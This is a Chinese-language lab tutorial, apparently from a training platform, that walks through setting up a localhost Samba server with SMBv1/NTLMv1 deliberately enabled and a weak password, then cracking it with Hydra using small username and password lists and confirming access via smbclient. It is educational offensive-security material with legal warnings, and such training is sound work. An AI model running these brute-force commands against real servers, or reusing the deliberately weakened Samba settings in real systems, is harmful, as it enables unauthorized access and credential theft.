简介
在这个实验中,你将学习如何使用 Hydra,一个强大的密码破解工具,攻击 SMB (服务器消息块) 服务。这个实验重点在于演示如何识别和利用 SMB 服务器上的弱凭据。
你将首先使用 Samba 设置一个本地 SMB 服务器,包括安装必要的软件包、配置 smb.conf
文件以创建共享目录,以及设置适当的权限。然后,你将准备用户和密码列表,用于 Hydra 攻击。最后,你将运行 Hydra SMB 攻击并检查结果,查看是否有任何凭据被成功破解。
在这个实验中,你将学习如何使用 Hydra,一个强大的密码破解工具,攻击 SMB (服务器消息块) 服务。这个实验重点在于演示如何识别和利用 SMB 服务器上的弱凭据。
你将首先使用 Samba 设置一个本地 SMB 服务器,包括安装必要的软件包、配置 smb.conf
文件以创建共享目录,以及设置适当的权限。然后,你将准备用户和密码列表,用于 Hydra 攻击。最后,你将运行 Hydra SMB 攻击并检查结果,查看是否有任何凭据被成功破解。
本步骤将使用 Samba 设置一个本地 SMB (服务器消息块) 服务器。SMB 是一种网络文件共享协议,允许计算机上的应用程序访问远程服务器上的文件和资源。Samba 是 SMB 网络协议的免费软件重新实现。这将在后续步骤中为你的 Hydra SMB 攻击提供目标。
首先,让我们安装 Samba。在 ~/project
目录中打开你的终端。
sudo apt update
sudo apt install samba -y
这条命令会更新软件包列表,然后安装 Samba 软件包。-y
标志会在安装过程中自动回答“是”。
接下来,你需要配置 Samba。你将首先备份原始配置文件。
sudo cp /etc/samba/smb.conf /etc/samba/smb.conf.bak
现在,让我们创建一个新的、干净的配置文件,通过直接覆盖现有文件来实现。这种方法确保不会与默认的 Ubuntu Samba 设置冲突。
请复制并运行以下命令到终端。请确保正确复制命令。
sudo tee /etc/samba/smb.conf > /dev/null << 'EOF'
[global]
workgroup = WORKGROUP
server string = Samba Server
netbios name = fileserver
security = user
map to guest = never
## 禁用匿名访问
restrict anonymous = 2
## 明确启用 SMBv1 和 NTLMv1 以便 Hydra 使用
server min protocol = NT1
client min protocol = NT1
ntlm auth = ntlmv1-permitted
## 绑定到本地主机
interfaces = 127.0.0.1
bind interfaces only = yes
## 日志记录
log file = /var/log/samba/log.%m
max log size = 1000
logging = file
debug level = 3
[share]
path = /home/labex/project/share
browsable = yes
writable = yes
guest ok = no
read only = no
valid users = labex
EOF
这条命令将完全替换 /etc/samba/smb.conf
的内容为我们干净的配置。
重要的配置点:
map to guest = never
- 防止匿名访客访问restrict anonymous = 2
- 完全禁用匿名访问server min protocol = NT1
和 client min protocol = NT1
- 启用 SMBv1 以便 Hydra 兼容ntlm auth = ntlmv1-permitted
- 允许 NTLMv1 身份验证进行测试interfaces = 127.0.0.1
和 bind interfaces only = yes
- 只允许访问本地主机guest ok = no
- 禁用对共享的访客访问valid users = labex
- 只允许特定用户访问我们为什么覆盖整个文件:
此配置确保 Hydra 能够正确检测身份验证尝试,而不会受到匿名访问的干扰。
现在,让我们创建共享目录。
mkdir ~/project/share
sudo chmod 777 ~/project/share
这将在你的 ~/project
目录中创建一个名为 share
的目录,并将它的权限设置为 777,这意味着每个人都有读取、写入和执行权限。注意: 在真实场景中,你应该使用更严格的权限。为了本实验环境的简单性,我们使用 777。
接下来,你需要添加一个 Samba 用户。这个用户将用于验证到 SMB 服务器。你将使用系统中已存在的 labex
用户。首先,为 labex
用户设置 Samba 密码。
sudo smbpasswd -a labex
系统将提示你输入 labex
用户的新密码。输入 password
并确认。
New SMB password:
Retype new SMB password:
Added user labex.
最后,重启 Samba 服务以应用更改。
sudo /etc/init.d/smbd restart
sudo /etc/init.d/nmbd restart
你应该看到类似这样的输出:
* Stopping SMB/CIFS daemon smbd [ OK ]
* Starting SMB/CIFS daemon smbd [ OK ]
* Stopping NetBIOS name server nmbd [ OK ]
* Starting NetBIOS name server nmbd [ OK ]
这条命令将检查你的 Samba 配置是否存在语法错误,并显示活动配置。你应该看到确认你的设置没有错误的输出。
现在,你的本地 SMB 服务器已设置了适当的安全设置。你已创建了一个名为 share
的共享目录,并添加了 labex
用户及其 Samba 密码。该配置已针对 Hydra 攻击进行了优化。
本步骤中,你将创建 Hydra 用于执行 SMB 攻击的用户和密码列表。这些列表将包含 Hydra 将尝试用于验证 SMB 服务器的潜在用户名和密码。
首先,让我们创建用户列表。你将使用 nano
在 ~/project
目录中创建一个名为 users.txt
的文件。
nano ~/project/users.txt
在此文件中,添加以下用户名,每行一个:
labex
admin
guest
user
test
root
按下 Ctrl+X
,然后 Y
,再按下 Enter
保存文件。
现在,让我们创建密码列表。你将使用 nano
在 ~/project
目录中创建一个名为 passwords.txt
的文件。
nano ~/project/passwords.txt
在此文件中,添加以下密码,每行一个:
password
123456
labex
admin
guest
按下 Ctrl+X
,然后 Y
,再按下 Enter
保存文件。
这些只是用于演示的简单列表。在真实场景中,你将使用更大、更复杂的列表。
现在你已创建了两个文件:users.txt
包含用户名列表,passwords.txt
包含密码列表。Hydra 将在下一步中使用这些列表尝试破解 SMB 服务器密码。
本步骤中,你将使用 Hydra 对你在第一步中设置的 SMB 服务器进行暴力破解攻击。Hydra 是一款并行登录破解工具,支持多种协议进行攻击。
在 ~/project
目录中打开你的终端。
现在,让我们运行 Hydra 命令来攻击 SMB 服务。
hydra -L ~/project/users.txt -P ~/project/passwords.txt 127.0.0.1 smb
让我们分解这个命令:
hydra
: 这是运行 Hydra 工具的命令。-L ~/project/users.txt
: 指定用户列表文件的路径。-P ~/project/passwords.txt
: 指定密码列表文件的路径。127.0.0.1
: 目标 SMB 服务器的 IP 地址(在本例中为本地主机)。smb
: 指定要攻击的服务(SMB)。Hydra 将开始尝试使用你提供的列表中的用户名和密码登录 SMB 服务器。它将尝试每种用户名和密码的组合,直到找到有效的组合或耗尽所有可能性。
如果第一步中配置的 SMB 服务器正确,你应该看到成功的凭据发现:
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - 请勿在军事或秘密服务组织或用于非法目的中使用(这并非强制性,这些***无论如何都会忽略法律和道德)。
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-30 10:52:16
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
[DATA] max 1 task per 1 server, overall 1 task, 30 login tries (l:6/p:5), ~30 tries per task
[DATA] attacking smb://127.0.0.1:445/
[445][smb] host: 127.0.0.1 login: labex password: password
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-30 10:52:17
理解输出:
[445][smb] host: 127.0.0.1 login: labex password: password
显示 Hydra 成功找到了有效的凭据。labex
password
重要提示: 此攻击正在对本地 SMB 服务器进行教育目的的测试。我们专门配置了服务器以演示 Hydra 的工作方式。在生产环境中,出于安全原因,应禁用 SMBv1。对远程系统进行未经授权的攻击是非法的和不道德的。
该命令可能需要一些时间才能完成,具体取决于你的用户和密码列表的大小。观察输出以查看 Hydra 何时成功破解密码。
本步骤中,你将分析 Hydra SMB 攻击的输出,以确认凭据发现成功,并通过连接 SMB 共享来验证破解的凭据。
在上一步骤运行 Hydra 命令(以及可能应用了故障排除步骤)后,你应该看到类似于此的成功输出:
[445][smb] host: 127.0.0.1 login: labex password: password
1 of 1 target successfully completed, 1 valid password found
此行指示 Hydra 成功破解了 SMB 凭据:
labex
password
验证破解的凭据:
为了确认破解的凭据有效,你可以使用 smbclient
命令连接到 SMB 共享。首先,如果尚未安装,请安装它:
sudo apt update
sudo apt install smbclient -y
你应该看到类似于此的输出:
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following additional packages will be installed:
libsmbclient
The following NEW packages will be installed:
libsmbclient smbclient
0 upgraded, 2 newly installed, 0 to remove and 252 not upgraded.
...
Setting up smbclient (2:4.15.13+dfsg-0ubuntu1.6) ...
现在,使用破解的凭据连接到 SMB 共享:
smbclient //127.0.0.1/share -U labex%password
让我们分解这个命令:
smbclient
: 用于访问服务器上的 SMB/CIFS 资源的命令行实用程序。//127.0.0.1/share
: SMB 共享的路径。127.0.0.1
是本地 SMB 服务器的 IP 地址,share
是共享目录的名称。-U labex%password
: 指定 Hydra 破解的用户名 (labex
) 和密码 (password
)。用户名和密码之间用 %
符号分隔。如果连接成功,你将看到一个 smb:\>
提示符,表示你已成功使用破解的凭据连接到 SMB 共享:
Try "help" to get a list of possible commands.
smb: \>
然后,你可以键入 exit
并按下 Enter
离开 smbclient
提示符:
exit
此成功连接确认:
安全隐患:
此成功攻击演示了以下重要性:
在本实验中,你学习了如何使用 Hydra(一个强大的密码破解工具)攻击 SMB 服务。你首先使用 Samba 设置了一个本地 SMB 服务器,这包括安装必要的软件包、配置 smb.conf
文件以创建支持 SMBv1 和 NTLMv1 的共享目录(以便 Hydra 兼容),以及设置适当的权限。
然后,你准备了用户和密码列表(users.txt
包含 6 个用户名,passwords.txt
包含 5 个密码),用于 Hydra 攻击。使用第一步中正确配置的 SMB 服务器,Hydra SMB 攻击成功破解了 SMB 凭据,找到了有效的用户名 labex
和密码 password
的组合。
你通过使用 smbclient
连接到已发现凭据的 SMB 共享来确认攻击的成功,这证明了破解的凭据确实提供了对共享目录的合法访问。
本实验有效地演示了:
关键安全教训:
重要提示: 此攻击是在专门用于教育目的的本地 SMB 服务器上进行的。在生产环境中,应禁用 SMBv1,应强制执行强密码策略,并应实施监控以检测暴力破解攻击。对远程系统进行未经授权的攻击是非法的和不道德的。